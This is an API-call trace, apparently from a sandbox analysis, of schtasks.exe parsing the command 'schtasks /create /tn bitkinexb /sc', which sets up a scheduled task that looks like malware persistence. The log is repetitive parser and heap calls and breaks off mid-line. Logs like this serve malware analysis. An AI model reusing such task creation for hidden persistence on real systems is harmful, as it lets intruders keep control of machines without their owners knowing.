[0062.903] VerQueryValueW (in: pBlock=0x33dde0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x15c438, puLen=0x15c4a0 | out: lplpBuffer=0x15c438*=0x33e17c, puLen=0x15c4a0) returned 1 [0062.903] _memicmp (_Buf1=0x33bb80, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.903] _vsnwprintf (in: _Buffer=0x33bd20, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x15c418 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0062.903] VerQueryValueW (in: pBlock=0x33dde0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x15c4a8, puLen=0x15c498 | out: lplpBuffer=0x15c4a8*=0x33dfa8, puLen=0x15c498) returned 1 [0062.903] lstrlenW (lpString="schtasks.exe") returned 12 [0062.903] lstrlenW (lpString="schtasks.exe") returned 12 [0062.903] lstrlenW (lpString=".EXE") returned 4 [0062.903] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0062.903] lstrlenW (lpString="schtasks.exe") returned 12 [0062.903] lstrlenW (lpString=".EXE") returned 4 [0062.903] lstrlenW (lpString="schtasks") returned 8 [0062.903] lstrlenW (lpString="/create") returned 7 [0062.903] _memicmp (_Buf1=0x33bb80, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.903] _vsnwprintf (in: _Buffer=0x33bd20, _BufferCount=0x19, _Format="%s %s", _ArgList=0x15c418 | out: _Buffer="schtasks /create") returned 16 [0062.903] _memicmp (_Buf1=0x33bba0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.903] GetProcessHeap () returned 0x320000 [0062.903] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x33ced0 [0062.903] _memicmp (_Buf1=0x33bbc0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.903] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x33d3d0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0062.903] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0062.903] GetProcessHeap () returned 0x320000 [0062.903] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x30) returned 0x337be0 [0062.903] _vsnwprintf (in: _Buffer=0x33c120, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x15c418 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0062.904] GetProcessHeap () returned 0x320000 [0062.904] GetProcessHeap () returned 0x320000 [0062.904] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33dde0) returned 1 [0062.904] GetProcessHeap () returned 0x320000 [0062.904] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33dde0) returned 0x74e [0062.904] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33dde0 | out: hHeap=0x320000) returned 1 [0062.904] SetLastError (dwErrCode=0x0) [0062.904] GetThreadLocale () returned 0x409 [0062.904] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.904] lstrlenW (lpString="create") returned 6 [0062.904] GetThreadLocale () returned 0x409 [0062.904] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.904] lstrlenW (lpString="?") returned 1 [0062.904] GetThreadLocale () returned 0x409 [0062.904] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.904] lstrlenW (lpString="s") returned 1 [0062.904] GetThreadLocale () returned 0x409 [0062.905] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.905] lstrlenW (lpString="u") returned 1 [0062.905] GetThreadLocale () returned 0x409 [0062.905] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.905] lstrlenW (lpString="p") returned 1 [0062.905] GetThreadLocale () returned 0x409 [0062.905] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.905] lstrlenW (lpString="ru") returned 2 [0062.905] GetThreadLocale () returned 0x409 [0062.905] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.905] lstrlenW (lpString="rp") returned 2 [0062.905] GetThreadLocale () returned 0x409 [0062.905] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.905] lstrlenW (lpString="sc") returned 2 [0062.905] GetThreadLocale () returned 0x409 [0062.905] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.905] lstrlenW (lpString="mo") returned 2 [0062.905] GetThreadLocale () returned 0x409 [0062.905] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.905] lstrlenW (lpString="d") returned 1 [0062.905] GetThreadLocale () returned 0x409 [0062.905] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.905] lstrlenW (lpString="m") returned 1 [0062.905] GetThreadLocale () returned 0x409 [0062.905] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.905] lstrlenW (lpString="i") returned 1 [0062.905] GetThreadLocale () returned 0x409 [0062.905] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.905] lstrlenW (lpString="tn") returned 2 [0062.905] GetThreadLocale () returned 0x409 [0062.905] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.905] lstrlenW (lpString="tr") returned 2 [0062.905] GetThreadLocale () returned 0x409 [0062.905] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.906] lstrlenW (lpString="st") returned 2 [0062.906] GetThreadLocale () returned 0x409 [0062.906] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.906] lstrlenW (lpString="sd") returned 2 [0062.906] GetThreadLocale () returned 0x409 [0062.906] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.906] lstrlenW (lpString="ed") returned 2 [0062.906] GetThreadLocale () returned 0x409 [0062.906] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.906] lstrlenW (lpString="it") returned 2 [0062.906] GetThreadLocale () returned 0x409 [0062.906] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.906] lstrlenW (lpString="et") returned 2 [0062.906] GetThreadLocale () returned 0x409 [0062.906] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.906] lstrlenW (lpString="k") returned 1 [0062.906] GetThreadLocale () returned 0x409 [0062.906] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.906] lstrlenW (lpString="du") returned 2 [0062.906] GetThreadLocale () returned 0x409 [0062.906] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.906] lstrlenW (lpString="ri") returned 2 [0062.906] GetThreadLocale () returned 0x409 [0062.906] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.906] lstrlenW (lpString="z") returned 1 [0062.906] GetThreadLocale () returned 0x409 [0062.906] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.906] lstrlenW (lpString="f") returned 1 [0062.906] GetThreadLocale () returned 0x409 [0062.906] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.906] lstrlenW (lpString="v1") returned 2 [0062.906] GetThreadLocale () returned 0x409 [0062.906] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.906] lstrlenW (lpString="xml") returned 3 [0062.906] GetThreadLocale () returned 0x409 [0062.907] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.907] lstrlenW (lpString="ec") returned 2 [0062.907] GetThreadLocale () returned 0x409 [0062.907] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.907] lstrlenW (lpString="rl") returned 2 [0062.907] GetThreadLocale () returned 0x409 [0062.907] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.907] lstrlenW (lpString="delay") returned 5 [0062.907] GetThreadLocale () returned 0x409 [0062.907] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.907] lstrlenW (lpString="np") returned 2 [0062.907] SetLastError (dwErrCode=0x0) [0062.907] SetLastError (dwErrCode=0x0) [0062.907] lstrlenW (lpString="/create") returned 7 [0062.907] lstrlenW (lpString="-/") returned 2 [0062.907] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0062.907] lstrlenW (lpString="create") returned 6 [0062.907] lstrlenW (lpString="create") returned 6 [0062.907] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.907] lstrlenW (lpString="create") returned 6 [0062.907] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.907] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|create|") returned 8 [0062.907] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x9, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|create|") returned 8 [0062.907] lstrlenW (lpString="|create|") returned 8 [0062.907] lstrlenW (lpString="|create|") returned 8 [0062.908] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0062.908] SetLastError (dwErrCode=0x0) [0062.908] SetLastError (dwErrCode=0x0) [0062.908] SetLastError (dwErrCode=0x0) [0062.908] lstrlenW (lpString="/tn") returned 3 [0062.908] lstrlenW (lpString="-/") returned 2 [0062.908] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0062.908] lstrlenW (lpString="create") returned 6 [0062.908] lstrlenW (lpString="create") returned 6 [0062.908] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.908] lstrlenW (lpString="tn") returned 2 [0062.908] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.908] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|create|") returned 8 [0062.908] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tn|") returned 4 [0062.908] lstrlenW (lpString="|create|") returned 8 [0062.908] lstrlenW (lpString="|tn|") returned 4 [0062.908] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0062.908] SetLastError (dwErrCode=0x490) [0062.908] lstrlenW (lpString="?") returned 1 [0062.908] lstrlenW (lpString="?") returned 1 [0062.908] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.908] lstrlenW (lpString="tn") returned 2 [0062.908] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.908] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|?|") returned 3 [0062.908] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tn|") returned 4 [0062.908] lstrlenW (lpString="|?|") returned 3 [0062.908] lstrlenW (lpString="|tn|") returned 4 [0062.908] SetLastError (dwErrCode=0x490) [0062.908] lstrlenW (lpString="s") returned 1 [0062.908] lstrlenW (lpString="s") returned 1 [0062.908] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.908] lstrlenW (lpString="tn") returned 2 [0062.909] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.909] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|s|") returned 3 [0062.909] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tn|") returned 4 [0062.909] lstrlenW (lpString="|s|") returned 3 [0062.909] lstrlenW (lpString="|tn|") returned 4 [0062.909] SetLastError (dwErrCode=0x490) [0062.909] lstrlenW (lpString="u") returned 1 [0062.909] lstrlenW (lpString="u") returned 1 [0062.909] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.909] lstrlenW (lpString="tn") returned 2 [0062.909] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.909] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|u|") returned 3 [0062.909] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tn|") returned 4 [0062.909] lstrlenW (lpString="|u|") returned 3 [0062.909] lstrlenW (lpString="|tn|") returned 4 [0062.909] SetLastError (dwErrCode=0x490) [0062.909] lstrlenW (lpString="p") returned 1 [0062.909] lstrlenW (lpString="p") returned 1 [0062.909] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.909] lstrlenW (lpString="tn") returned 2 [0062.909] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.909] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|p|") returned 3 [0062.909] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tn|") returned 4 [0062.909] lstrlenW (lpString="|p|") returned 3 [0062.909] lstrlenW (lpString="|tn|") returned 4 [0062.909] SetLastError (dwErrCode=0x490) [0062.909] lstrlenW (lpString="ru") returned 2 [0062.909] lstrlenW (lpString="ru") returned 2 [0062.909] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.909] lstrlenW (lpString="tn") returned 2 [0062.909] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.910] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|ru|") returned 4 [0062.910] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tn|") returned 4 [0062.910] lstrlenW (lpString="|ru|") returned 4 [0062.910] lstrlenW (lpString="|tn|") returned 4 [0062.910] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0062.910] SetLastError (dwErrCode=0x490) [0062.910] lstrlenW (lpString="rp") returned 2 [0062.910] lstrlenW (lpString="rp") returned 2 [0062.910] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.910] lstrlenW (lpString="tn") returned 2 [0062.910] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.910] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rp|") returned 4 [0062.910] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tn|") returned 4 [0062.910] lstrlenW (lpString="|rp|") returned 4 [0062.910] lstrlenW (lpString="|tn|") returned 4 [0062.910] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0062.910] SetLastError (dwErrCode=0x490) [0062.910] lstrlenW (lpString="sc") returned 2 [0062.910] lstrlenW (lpString="sc") returned 2 [0062.910] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.910] lstrlenW (lpString="tn") returned 2 [0062.910] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.910] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|sc|") returned 4 [0062.910] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tn|") returned 4 [0062.910] lstrlenW (lpString="|sc|") returned 4 [0062.910] lstrlenW (lpString="|tn|") returned 4 [0062.910] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0062.910] SetLastError (dwErrCode=0x490) [0062.910] lstrlenW (lpString="mo") returned 2 [0062.910] lstrlenW (lpString="mo") returned 2 [0062.910] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.911] lstrlenW (lpString="tn") returned 2 [0062.911] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.911] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|mo|") returned 4 [0062.911] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tn|") returned 4 [0062.911] lstrlenW (lpString="|mo|") returned 4 [0062.911] lstrlenW (lpString="|tn|") returned 4 [0062.911] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0062.911] SetLastError (dwErrCode=0x490) [0062.911] lstrlenW (lpString="d") returned 1 [0062.911] lstrlenW (lpString="d") returned 1 [0062.911] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.911] lstrlenW (lpString="tn") returned 2 [0062.911] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.911] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|d|") returned 3 [0062.911] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tn|") returned 4 [0062.911] lstrlenW (lpString="|d|") returned 3 [0062.911] lstrlenW (lpString="|tn|") returned 4 [0062.911] SetLastError (dwErrCode=0x490) [0062.911] lstrlenW (lpString="m") returned 1 [0062.911] lstrlenW (lpString="m") returned 1 [0062.911] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.911] lstrlenW (lpString="tn") returned 2 [0062.911] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.911] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|m|") returned 3 [0062.911] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tn|") returned 4 [0062.911] lstrlenW (lpString="|m|") returned 3 [0062.911] lstrlenW (lpString="|tn|") returned 4 [0062.911] SetLastError (dwErrCode=0x490) [0062.911] lstrlenW (lpString="i") returned 1 [0062.911] lstrlenW (lpString="i") returned 1 [0062.911] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.912] lstrlenW (lpString="tn") returned 2 [0062.912] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.912] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|i|") returned 3 [0062.912] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tn|") returned 4 [0062.912] lstrlenW (lpString="|i|") returned 3 [0062.912] lstrlenW (lpString="|tn|") returned 4 [0062.912] SetLastError (dwErrCode=0x490) [0062.912] lstrlenW (lpString="tn") returned 2 [0062.912] lstrlenW (lpString="tn") returned 2 [0062.912] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.912] lstrlenW (lpString="tn") returned 2 [0062.912] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.912] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tn|") returned 4 [0062.912] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tn|") returned 4 [0062.912] lstrlenW (lpString="|tn|") returned 4 [0062.912] lstrlenW (lpString="|tn|") returned 4 [0062.912] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0062.912] SetLastError (dwErrCode=0x0) [0062.912] SetLastError (dwErrCode=0x0) [0062.912] lstrlenW (lpString="bitkinexb") returned 9 [0062.912] lstrlenW (lpString="-/") returned 2 [0062.912] StrChrIW (lpStart="-/", wMatch=0x62) returned 0x0 [0062.912] SetLastError (dwErrCode=0x490) [0062.912] SetLastError (dwErrCode=0x490) [0062.912] SetLastError (dwErrCode=0x0) [0062.912] lstrlenW (lpString="bitkinexb") returned 9 [0062.912] StrChrIW (lpStart="bitkinexb", wMatch=0x3a) returned 0x0 [0062.912] SetLastError (dwErrCode=0x490) [0062.912] SetLastError (dwErrCode=0x0) [0062.912] lstrlenW (lpString="bitkinexb") returned 9 [0062.912] SetLastError (dwErrCode=0x0) [0062.912] SetLastError (dwErrCode=0x0) [0062.913] lstrlenW (lpString="/sc") returned 3 [0062.913] lstrlenW (lpString="-/") returned 2 [0062.913] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0062.913] lstrlenW (lpString="create") returned 6 [0062.913] lstrlenW (lpString="create") returned 6 [0062.913] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.913] lstrlenW (lpString="sc") returned 2 [0062.913] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.913] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|create|") returned 8 [0062.913] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|sc|") returned 4 [0062.913] lstrlenW (lpString="|create|") returned 8 [0062.913] lstrlenW (lpString="|sc|") returned 4 [0062.913] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0062.913] SetLastError (dwErrCode=0x490) [0062.913] lstrlenW (lpString="?") returned 1 [0062.913] lstrlenW (lpString="?") returned 1 [0062.913] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.913] lstrlenW (lpString="sc") returned 2 [0062.913] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.913] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|?|") returned 3 [0062.913] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|sc|") returned 4 [0062.913] lstrlenW (lpString="|?|") returned 3 [0062.913] lstrlenW (lpString="|sc|") returned 4 [0062.913] SetLastError (dwErrCode=0x490) [0062.913] lstrlenW (lpString="s") returned 1 [0062.913] lstrlenW (lpString="s") returned 1 [0062.913] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.913] lstrlenW (lpString="sc") returned 2 [0062.913] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.913] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|s|") returned 3 [0062.913] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|sc|") returned 4 [0062.914] lstrlenW (lpString="|s|") returned 3 [0062.914] lstrlenW (lpString="|sc|") returned 4 [0062.914] SetLastError (dwErrCode=0x490) [0062.914] lstrlenW (lpString="u") returned 1 [0062.914] lstrlenW (lpString="u") returned 1 [0062.914] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.914] lstrlenW (lpString="sc") returned 2 [0062.914] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.914] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|u|") returned 3 [0062.914] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|sc|") returned 4 [0062.914] lstrlenW (lpString="|u|") returned 3 [0062.914] lstrlenW (lpString="|sc|") returned 4 [0062.914] SetLastError (dwErrCode=0x490) [0062.914] lstrlenW (lpString="p") returned 1 [0062.914] lstrlenW (lpString="p") returned 1 [0062.914] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.914] lstrlenW (lpString="sc") returned 2 [0062.914] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.914] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|p|") returned 3 [0062.914] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|sc|") returned 4 [0062.914] lstrlenW (lpString="|p|") returned 3 [0062.914] lstrlenW (lpString="|sc|") returned 4 [0062.914] SetLastError (dwErrCode=0x490) [0062.914] lstrlenW (lpString="ru") returned 2 [0062.914] lstrlenW (lpString="ru") returned 2 [0062.914] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.914] lstrlenW (lpString="sc") returned 2 [0062.914] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.914] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|ru|") returned 4 [0062.914] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|sc|") returned 4 [0062.915] lstrlenW (lpString="|ru|") returned 4 [0062.915] lstrlenW (lpString="|sc|") returned 4 [0062.915] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0062.915] SetLastError (dwErrCode=0x490) [0062.915] lstrlenW (lpString="rp") returned 2 [0062.915] lstrlenW (lpString="rp") returned 2 [0062.915] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.915] lstrlenW (lpString="sc") returned 2 [0062.915] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.915] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rp|") returned 4 [0062.915] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", 